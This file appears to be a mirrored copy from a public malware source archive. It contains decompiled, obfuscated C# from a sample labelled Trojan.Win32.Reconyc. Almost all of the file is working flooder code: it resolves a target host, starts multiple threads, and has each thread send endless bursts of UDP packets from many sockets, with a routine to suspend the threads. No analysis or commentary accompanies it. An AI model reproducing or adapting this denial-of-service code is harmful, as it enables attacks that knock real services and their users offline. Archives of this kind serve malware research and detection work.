mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
121 lines
4.2 KiB
C#
121 lines
4.2 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: ?1?.?14?
|
|||
|
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
|||
|
|
|||
|
using \u003F1\u003F;
|
|||
|
using System.Net;
|
|||
|
using System.Net.Sockets;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u003F1\u003F
|
|||
|
{
|
|||
|
internal class \u003F14\u003F
|
|||
|
{
|
|||
|
private static ThreadStart[] \u003F130\u003F;
|
|||
|
private static Thread[] \u003F131\u003F;
|
|||
|
public static string \u003F129\u003F;
|
|||
|
private static IPEndPoint \u003F79\u003F;
|
|||
|
public static int \u003F132\u003F;
|
|||
|
public static int \u003F87\u003F;
|
|||
|
private static \u003F14\u003F.\u003F15\u003F[] \u003F133\u003F;
|
|||
|
public static int \u003F134\u003F;
|
|||
|
public static int \u003F183\u003F;
|
|||
|
|
|||
|
public static void \u003F47\u003F()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u003F14\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F14\u003F.\u003F129\u003F).AddressList[0], \u003F14\u003F.\u003F132\u003F);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u003F14\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F14\u003F.\u003F129\u003F), \u003F14\u003F.\u003F132\u003F);
|
|||
|
}
|
|||
|
\u003F14\u003F.\u003F131\u003F = new Thread[\u003F14\u003F.\u003F134\u003F];
|
|||
|
\u003F14\u003F.\u003F130\u003F = new ThreadStart[\u003F14\u003F.\u003F134\u003F];
|
|||
|
\u003F14\u003F.\u003F133\u003F = new \u003F14\u003F.\u003F15\u003F[\u003F14\u003F.\u003F134\u003F];
|
|||
|
for (int index = 0; index < \u003F14\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
\u003F14\u003F.\u003F133\u003F[index] = new \u003F14\u003F.\u003F15\u003F(\u003F14\u003F.\u003F79\u003F, \u003F14\u003F.\u003F183\u003F, \u003F14\u003F.\u003F87\u003F);
|
|||
|
\u003F14\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F14\u003F.\u003F133\u003F[index].\u003F23\u003F);
|
|||
|
\u003F14\u003F.\u003F131\u003F[index] = new Thread(\u003F14\u003F.\u003F130\u003F[index]);
|
|||
|
\u003F14\u003F.\u003F131\u003F[index].Start();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static void \u003F48\u003F()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u003F14\u003F.\u003F134\u003F; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u003F14\u003F.\u003F131\u003F[index].Suspend();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private class \u003F15\u003F
|
|||
|
{
|
|||
|
private IPEndPoint \u003F79\u003F;
|
|||
|
private int \u003F87\u003F;
|
|||
|
private Socket[] \u003F135\u003F;
|
|||
|
private int \u003F183\u003F;
|
|||
|
|
|||
|
public \u003F15\u003F(IPEndPoint _param1, int _param2, int _param3)
|
|||
|
{
|
|||
|
this.\u003F79\u003F = _param1;
|
|||
|
this.\u003F183\u003F = _param2;
|
|||
|
this.\u003F87\u003F = _param3;
|
|||
|
}
|
|||
|
|
|||
|
public void \u003F23\u003F()
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
byte[] buffer = new byte[this.\u003F87\u003F];
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u003F135\u003F = new Socket[this.\u003F183\u003F];
|
|||
|
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
|||
|
{
|
|||
|
this.\u003F135\u003F[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
|
|||
|
this.\u003F135\u003F[index].Blocking = false;
|
|||
|
this.\u003F135\u003F[index].SendTo(buffer, (EndPoint) this.\u003F79\u003F);
|
|||
|
}
|
|||
|
Thread.Sleep(100);
|
|||
|
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
|||
|
{
|
|||
|
if (this.\u003F135\u003F[index].Connected)
|
|||
|
this.\u003F135\u003F[index].Disconnect(false);
|
|||
|
this.\u003F135\u003F[index].Close();
|
|||
|
this.\u003F135\u003F[index] = (Socket) null;
|
|||
|
}
|
|||
|
this.\u003F135\u003F = (Socket[]) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (this.\u003F135\u003F[index].Connected)
|
|||
|
this.\u003F135\u003F[index].Disconnect(false);
|
|||
|
this.\u003F135\u003F[index].Close();
|
|||
|
this.\u003F135\u003F[index] = (Socket) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|